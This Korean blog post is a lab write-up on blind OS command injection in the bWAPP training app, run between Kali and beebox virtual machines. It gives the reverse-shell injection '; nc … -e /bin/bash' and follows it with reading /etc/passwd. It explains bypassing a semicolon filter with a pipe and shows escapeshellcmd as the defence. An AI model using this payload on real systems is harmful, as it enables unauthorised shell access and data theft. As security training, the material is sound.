[A-1 Injection]OS Command Injection - Blind
https://facelight.tistory.com/68
[A-1 Injection]OS Command Injection
OS Command Injection이라 하면 그동안 실습해왔던 Injection 공격 중 하나이며 OS Command 즉 시스템 명령어를 사용하는 방식이다. 먼저 commandi.php를 살펴보겠다. 왼쪽 사진은 난이도에 따라 적용되는..
facelight.tistory.com
저번에 했던 방식과 유사해 보이는데 저번에는 nslookup을 통해 정보를 확인했다면 이번에는 ping 테스트를 하는 것 같다.
사실 핑테스트나 nslookup이라는 차이점보다는 저번 시간은 cat 같은 명령어를 삽입해서 나오는 결과를 바로 확인할 수 있었다면 이번 시간에 경우는 Blind 방식으로 입력한 결과를 바로 확인할 수 없다.
commandi_blind.php 파일을 먼저 살펴보겠다.
여기서 알 수 있는것은 입력창을 공백으로 한 후 PING 버튼을 클릭 시 붉은 글씨로 IP를 입력하라고 나오고 그렇지 않은 경우는 모두 Did you captured out GOLDEN packet 메시지가 나온다고 한다.
실제로 공백으로 둔 후 PING 버튼을 누르지 않는 이상 어떤 값을 입력해도 골든 패킷을 캡처했냐는 메시지만 나온다.
결과를 확인하기 위해서는 여러 방법이 있겠으나 여기서 필자는 두 개의 가상머신(kali, beebox)를 이용하여 실습을 진행할 거다.
[Low Level]


왼쪽 사진은 kali(192.162.200.128) 터미널 창으로 915번 포트를 열어둔 것이고 오른쪽 사진은 kali에서 bWAPP 웹에 접속한 후 명령어를 입력한 것으로 명령어는 ; nc 192.162.200.128 915 -e /bin/bash이다.
즉 칼리에서 열어둔 포트로 들어가는데 이때 -e는 exec이며 /bin/bash쉘을 실행시킨다는 뜻이다
그 후 kali 터미널 창에서 pwd, cat /etc/passwd 명령어를 입력하면 정상적으로 보이는 것을 알 수 있다.
[Medium Level]
같은 방법으로 실행해보겠다.
저번 시간은 Medium Level에서 ';' 해당 특수문자를 필터링한다고 해서 파이프(|)를 대신 사용하였었다.
이번 Blind 방식도 동일한데 LowLevel에서는 ;를 사용하였고 Medium Level에서는 |를 사용하면 성공적으로 실습할 수 있다.
[High Level]
역시 전 방식과 동일하다
High Level 경우는 commandi_check_2가 적용되는데 해당 함수의 내용은 다음과 같다.
function commandi_check_2($data)
{
return escapeshellcmd($data);
}
여기서 escapeshellcmd는 특정 문자들에 대하여 앞에 backslash가 추가해주는 기능을 한다
따라서 우리가 기존에 사용하던 다중 명령어를 사용할 수 없어서 시스템 명령어 사용이 불가능해진다.